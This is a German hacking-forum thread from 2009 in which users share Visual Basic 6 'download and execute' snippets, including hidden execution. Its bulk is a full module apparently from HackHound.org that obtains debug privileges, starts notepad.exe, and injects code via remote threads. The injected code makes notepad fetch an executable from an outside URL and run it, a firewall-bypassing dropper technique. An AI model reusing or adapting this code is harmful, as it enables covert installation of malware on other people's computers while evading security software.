Download und AusfÃ¼hrungs schnipseÃ¶

whit3 · 23. März 2009

Suche in Schnipsel zum datei download und ausfÃ¼hrung, hiden und visible

Epiphone · 23. März 2009

Download Data 2 Harddrive:

Zitat

Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String)
Call URLDownloadToFile(0, URL, LocalFilename, 0, 0)
End Function

Und dann zum ausfÃ¼hren:

Zitat

Shell Filepath, vbhide (hidden)/vbnormalfocus (visible) ' nur fÃ¼r .exe Files kompatibel fÃ¼r andere Files musst du die ShellexecuteA API nehmen

kamicaze · 23. März 2009

Copyright: obsol337
Found@: HackHound.org

Code

Option Explicit
'---------------------------------------------------------------------------------------
' Module : ModDloadExec
' DateTime : 04/08/2008 11:42
' Author : obsol337
' WebPage : http://hackhound.org
' Purpose : Download & Execute in remote process (fwb++)
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' History : 04/08/2008 First Release
' Credits : Ark remote api example
'---------------------------------------------------------------------------------------
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Declare Function GetCurrentProcess Lib "kernel32" () As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Declare Function GetModuleHandleA Lib "kernel32" (ByVal lpModuleName As String) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Declare Function LookupPrivilegeValueA Lib "advapi32" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByRef PreviousState As Any, ByRef ReturnLength As Any) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Const SE_PRIVILEGE_ENABLED = &H2
Const ANYSIZE_ARRAY = 1
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const INFINITE = -1&
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_RELEASE = &H8000
Const PAGE_READWRITE = &H4&
Const PAGE_EXECUTE_READWRITE As Long = &H40
Type LARGE_INTEGER
LowPart As Long
HighPart As Long
End Type
Type LUID_AND_ATTRIBUTES
pLuid As LARGE_INTEGER
Attributes As Long
End Type
Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Enum ARG_FLAG
arg_Value
arg_Pointer
End Enum
Public Type API_DATA
lpData As Long 'Pointer to data or real data
dwDataLength As Long 'Data length
argType As ARG_FLAG 'ByVal or ByRef?
bOut As Boolean 'Is this argument [OUT]?
End Type
Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long 'LPBYTE
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Dim hKernel As Long
Dim lpGetModuleHandle As Long
Dim lpLoadLibrary As Long
Dim lpFreeLibrary As Long
Dim lpGetProcAddress As Long
Dim bKernelInit As Boolean
Dim abAsm() As Byte 'buffer for assembly code
Dim lCP As Long 'used to keep track of latest byte added to code
Sub Main()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFO
Dim pid As Long
Call EnableDebugPrivNT 'Then Exit Sub
Call CreateProcessA(vbNullString, "c:\WINDOWS\notepad.exe", 0, 0, False, 0, 0, 0, si, pi)
'hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
Call DownloadExecRemote(pi.hProcess, pid)
Call CloseHandle(pi.hProcess)
End Sub
Sub DownloadExecRemote(ByVal hProcess As Long, ByVal pid As Long)
Dim dt(4) As API_DATA, abString() As Byte, abString1() As Byte, abString2() As Byte, s As String
Dim szURL As String
Dim szFileName As String
Dim szNull As String
'Declare Function URLDownloadToFile Lib "urlmon" _
' Alias "URLDownloadToFileA" _
' (ByVal pCaller As Long, _
' ByVal szURL As String, _
' ByVal szFileName As String, _
' ByVal dwReserved As Long, _
' ByVal lpfnCB As Long) As Long
szURL = "http://www.alexander.com/SymServe/calc.exe/37ECAB3B19000/calc.exe" & Chr(0)
abString = StrConv(szURL, vbFromUnicode)
szFileName = "C:\windows\calctest.exe" & Chr(0)
abString1 = StrConv(szFileName, vbFromUnicode)
szNull = vbNullString & Chr(0)
abString2 = StrConv(szNull, vbFromUnicode)
With dt(0) 'pCaller
.argType = arg_Value
.lpData = 0
.dwDataLength = 4
End With
With dt(1) 'szURL
.argType = arg_Pointer
.lpData = VarPtr(abString(0))
.dwDataLength = Len(szURL)
End With
With dt(2) 'szFileName
.argType = arg_Pointer
.lpData = VarPtr(abString1(0))
.dwDataLength = Len(szFileName)
End With
With dt(3) 'dwReserved
.argType = arg_Value
.lpData = 0
.dwDataLength = 4
End With
With dt(4) 'lpfnCB
.argType = arg_Value
.lpData = 0
.dwDataLength = 4
End With
Dim iret As Long
iret = CallAPIRemote(hProcess, "urlmon", "URLDownloadToFileA", 5, dt, 5000)
If iret = 0 Then
Dim dt2(5) As API_DATA
'Declare Function ShellExecuteA Lib "shell32" & _
(ByVal hWnd As Long, & _
ByVal lpOperation As String, & _
ByVal lpFile As String, & _
ByVal lpParameters As String, & _
ByVal lpDirectory As String, & _
ByVal nShowCmd As Long) As Long
With dt2(0) 'hWnd
.argType = arg_Value
.lpData = 0
.dwDataLength = 4
End With
With dt2(1) 'lpOperation
.argType = arg_Pointer
.lpData = VarPtr(abString2(0))
.dwDataLength = Len(szNull)
End With
With dt2(2) 'lpFile
.argType = arg_Pointer
.lpData = VarPtr(abString1(0))
.dwDataLength = Len(szFileName)
End With
With dt2(3) 'lpParameters
.argType = arg_Pointer
.lpData = VarPtr(abString2(0))
.dwDataLength = Len(szNull)
End With
With dt2(4) 'lpDirectory
.argType = arg_Pointer
.lpData = VarPtr(abString2(0))
.dwDataLength = Len(szNull)
End With
With dt2(5) 'nShowCmd
.argType = arg_Value
.lpData = 0
.dwDataLength = 4
End With
iret = CallAPIRemote(hProcess, "shell32", "ShellExecuteA", 6, dt2, 5000)
End If
End Sub
Public Function CallAPIRemote(ByVal hProcess As Long, ByVal LibName As String, ByVal FuncName As String, ByVal nParams As Long, data() As API_DATA, Optional ByVal dwTimeOut As Long = INFINITE) As Long
Dim hLib As Long, fnAddress As Long
Dim bNeedUnload As Boolean
Dim locData(1) As API_DATA
hLib = GetModuleHandleRemote(hProcess, LibName)
If hLib = 0 Then
hLib = LoadLibraryRemote(hProcess, LibName)
If hLib = 0 Then Exit Function
bNeedUnload = True
End If
fnAddress = GetProcAddressRemote(hProcess, hLib, FuncName)
If fnAddress Then
CallAPIRemote = CallFunctionRemote(hProcess, fnAddress, nParams, data, dwTimeOut)
End If
If bNeedUnload Then Call FreeLibraryRemote(hProcess, hLib)
End Function
'Main function which do the job
Function CallFunctionRemote(ByVal hProcess As Long, ByVal func_addr As Long, ByVal nParams As Long, data() As API_DATA, Optional ByVal dwTimeOut As Long = INFINITE) As Long
Dim hThread As Long, ThreadId As Long
Dim addr As Long, ret As Long, h As Long, i As Long
Dim codeStart As Long
Dim param_addr() As Long
If nParams = 0 Then
CallFunctionRemote = CallFunctionRemoteOneParam(hProcess, func_addr, 0, 0, 0, 0)
ElseIf nParams = 1 Then
CallFunctionRemote = CallFunctionRemoteOneParam(hProcess, func_addr, 1, _
data(0).lpData, data(0).dwDataLength, data(0).argType, _
data(0).bOut)
End If
ReDim abAsm(50 + 6 * nParams)
ReDim param_addr(nParams - 1)
lCP = 0
addr = VirtualAllocEx(ByVal hProcess, ByVal 0&, ByVal UBound(abAsm) + 1, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
codeStart = GetAlignedCodeStart(addr)
lCP = codeStart - addr
For i = 0 To lCP - 1
abAsm(i) = &HCC
Next
PrepareStack 1 'remove ThreadFunc lpParam
For i = nParams To 1 Step -1
AddByteToCode &H68 'push wwxxyyzz
If data(i - 1).argType = arg_Value Then
AddLongToCode data(i - 1).lpData
Else
param_addr(i - 1) = VirtualAllocEx(ByVal hProcess, ByVal 0&, ByVal data(i - 1).dwDataLength, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
If param_addr(i - 1) = 0 Then GoTo CleanUp
If WriteProcessMemory(hProcess, ByVal param_addr(i - 1), ByVal data(i - 1).lpData, data(i - 1).dwDataLength, ret) = 0 Then GoTo CleanUp
AddLongToCode param_addr(i - 1)
End If
Next
AddCallToCode func_addr, addr + VarPtr(abAsm(lCP)) - VarPtr(abAsm(0))
AddByteToCode &HC3
AddByteToCode &HCC
If WriteProcessMemory(hProcess, ByVal addr, abAsm(0), UBound(abAsm) + 1, ret) = 0 Then GoTo CleanUp
hThread = CreateRemoteThread(hProcess, 0, 0, ByVal codeStart, data(0).lpData, 0&, ThreadId)
If hThread Then
ret = WaitForSingleObject(hThread, dwTimeOut)
If ret = 0 Then ret = GetExitCodeThread(hThread, h)
End If
CallFunctionRemote = h
For i = 0 To nParams - 1
If param_addr(i) <> 0 Then
If data(i).bOut Then
ReadProcessMemory hProcess, ByVal param_addr(i), ByVal data(i).lpData, data(i).dwDataLength, ret
End If
End If
Next i
CleanUp:
VirtualFreeEx hProcess, ByVal addr, 0, MEM_RELEASE
For i = 0 To nParams - 1
If param_addr(i) <> 0 Then VirtualFreeEx hProcess, ByVal param_addr(i), 0, MEM_RELEASE
Next i
End Function
Function CallFunctionRemoteOneParam(ByVal hProcess As Long, ByVal func_addr As Long, _
ByVal nParams As Long, ByVal lngVal As Long, _
ByVal dwSize As Long, ByVal argType As ARG_FLAG, _
Optional ByVal bReturn As Boolean) As Long
Dim hThread As Long, ThreadId As Long
Dim addr As Long, ret As Long, h As Long, i As Long
Dim lngTemp As Long
If nParams = 0 Then
bReturn = False
Else
If argType = arg_Pointer Then
addr = VirtualAllocEx(ByVal hProcess, ByVal 0&, ByVal dwSize, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
If addr = 0 Then Exit Function
Call WriteProcessMemory(hProcess, ByVal addr, ByVal lngVal, dwSize, ret)
lngTemp = addr
Else
lngTemp = lngVal
End If
End If
hThread = CreateRemoteThread(hProcess, 0, 0, ByVal func_addr, lngTemp, 0&, ThreadId)
If hThread Then
ret = WaitForSingleObject(hThread, 1000)
If ret = 0 Then ret = GetExitCodeThread(hThread, h)
CallFunctionRemoteOneParam = h
CloseHandle hThread
End If
If bReturn Then
If addr <> 0 Then
ReadProcessMemory hProcess, ByVal addr, ByVal lngVal, dwSize, ret
VirtualFreeEx hProcess, ByVal addr, 0, MEM_RELEASE
End If
End If
End Function
Public Function GetModuleHandleRemote(ByVal hProcess As Long, ByVal LibName As String) As Long
Dim hThread As Long, ThreadId As Long
Dim addr As Long, ret As Long, h As Long
If Not InitKernel Then Exit Function
If GetModuleHandleA(LibName) = hKernel Then
GetModuleHandleRemote = hKernel
Exit Function
End If
addr = VirtualAllocEx(ByVal hProcess, ByVal 0&, ByVal Len(LibName) + 1, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
If addr = 0 Then Exit Function
If WriteProcessMemory(hProcess, ByVal addr, ByVal LibName, Len(LibName), ret) Then
hThread = CreateRemoteThread(hProcess, 0, 0, ByVal lpGetModuleHandle, addr, 0&, ThreadId)
If hThread Then
ret = WaitForSingleObject(hThread, 500)
If ret = 0 Then ret = GetExitCodeThread(hThread, h)
End If
End If
VirtualFreeEx hProcess, ByVal addr, 0, MEM_RELEASE
CloseHandle hThread
GetModuleHandleRemote = h
End Function
Public Function LoadLibraryRemote(ByVal hProcess As Long, ByVal LibName As String) As Long
If Not InitKernel Then Exit Function
Dim hThread As Long, ThreadId As Long
Dim addr As Long, ret As Long, h As Long
If GetModuleHandleA(LibName) = hKernel Then
LoadLibraryRemote = hKernel
Exit Function
End If
addr = VirtualAllocEx(ByVal hProcess, ByVal 0&, ByVal Len(LibName) + 1, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)
If addr = 0 Then Exit Function
If WriteProcessMemory(hProcess, ByVal addr, ByVal LibName, Len(LibName), ret) Then
hThread = CreateRemoteThread(hProcess, 0, 0, ByVal lpLoadLibrary, addr, 0&, ThreadId)
If hThread Then
ret = WaitForSingleObject(hThread, 500)
If ret = 0 Then ret = GetExitCodeThread(hThread, h)
End If
End If
LoadLibraryRemote = h
End Function
Public Function GetProcAddressRemote(ByVal hProcess As Long, ByVal hLib As Long, ByVal fnName As String) As Long
If Not InitKernel Then Exit Function
Dim localData(1) As API_DATA
Dim abName() As Byte
If hLib = hKernel Then
GetProcAddressRemote = GetProcAddress(hKernel, fnName)
Exit Function
End If
With localData(0)
.lpData = hLib
.dwDataLength = 4
.argType = arg_Value
End With
fnName = fnName & Chr(0)
abName = StrConv(fnName, vbFromUnicode)
With localData(1)
.lpData = VarPtr(abName(0))
.dwDataLength = UBound(abName) + 1
.argType = arg_Pointer
End With
GetProcAddressRemote = CallFunctionRemote(hProcess, lpGetProcAddress, 2, localData)
End Function
Public Function FreeLibraryRemote(ByVal hProcess As Long, ByVal hLib As Long) As Long
Dim hThread As Long, ThreadId As Long, h As Long, ret As Long
If hLib = hKernel Then
FreeLibraryRemote = True
Exit Function
End If
hThread = CreateRemoteThread(hProcess, 0, 0, ByVal lpFreeLibrary, hLib, 0&, ThreadId)
If hThread Then
ret = WaitForSingleObject(hThread, 500)
If ret = 0 Then ret = GetExitCodeThread(hThread, h)
End If
CloseHandle hThread
FreeLibraryRemote = h
End Function
'============Private routines to prepare asm (op)code===========
Sub AddCallToCode(ByVal dwAddress As Long, ByVal BaseAddr As Long)
AddByteToCode &HE8
AddLongToCode dwAddress - BaseAddr - 5
End Sub
Sub AddLongToCode(ByVal lng As Long)
Dim i As Integer
Dim byt(3) As Byte
CopyMemory byt(0), lng, 4
For i = 0 To 3
AddByteToCode byt(i)
Next
End Sub
Sub AddByteToCode(ByVal byt As Byte)
abAsm(lCP) = byt
lCP = lCP + 1
End Sub
Function GetAlignedCodeStart(ByVal dwAddress As Long) As Long
GetAlignedCodeStart = dwAddress + (15 - (dwAddress - 1) Mod 16)
If (15 - (dwAddress - 1) Mod 16) = 0 Then GetAlignedCodeStart = GetAlignedCodeStart + 16
End Function
Sub PrepareStack(ByVal numParamsToRemove As Long)
Dim i As Long
If numParamsToRemove = 0 Then Exit Sub
AddByteToCode &H58 'pop eax - pop return address
For i = 1 To numParamsToRemove
AddByteToCode &H59 'pop ecx - kill param
Next i
AddByteToCode &H50 'push eax - put return address back
End Sub
Sub ClearStack(ByVal nParams As Long)
Dim i As Long
For i = 1 To nParams
AddByteToCode &H59 'pop ecx - remove params from stack
Next
End Sub
'==========Get main kernel32 functions addresses=========
Function InitKernel() As Boolean
If bKernelInit Then
InitKernel = True
Exit Function
End If
hKernel = GetModuleHandleA("kernel32")
If hKernel = 0 Then Exit Function
lpGetProcAddress = GetProcAddress(hKernel, "GetProcAddress")
lpGetModuleHandle = GetProcAddress(hKernel, "GetModuleHandleA")
lpLoadLibrary = GetProcAddress(hKernel, "LoadLibraryA")
lpFreeLibrary = GetProcAddress(hKernel, "FreeLibrary")
InitKernel = True
bKernelInit = True
End Function
Function EnableDebugPrivNT() As Boolean
Dim hToken As Long
Dim li As LARGE_INTEGER
Dim tkp As TOKEN_PRIVILEGES
If OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken) = 0 Then Exit Function
If LookupPrivilegeValueA("", "SeDebugPrivilege", li) = 0 Then Exit Function
tkp.PrivilegeCount = 1
tkp.Privileges(0).pLuid = li
tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
EnableDebugPrivNT = AdjustTokenPrivileges(hToken, False, tkp, 0, ByVal 0&, 0)
End Function

Alles anzeigen

cReative.eXploit · 23. März 2009

WTF soooo viel code fÃ¼r das bischen wirkung?
vb6 ist verrÃ¼ckt^^

alexj. · 23. März 2009

Zitat von cReative.eXploit;16632

WTF soooo viel code fÃ¼r das bischen wirkung?
vb6 ist verrÃ¼ckt^^

Das ist mit RunPE

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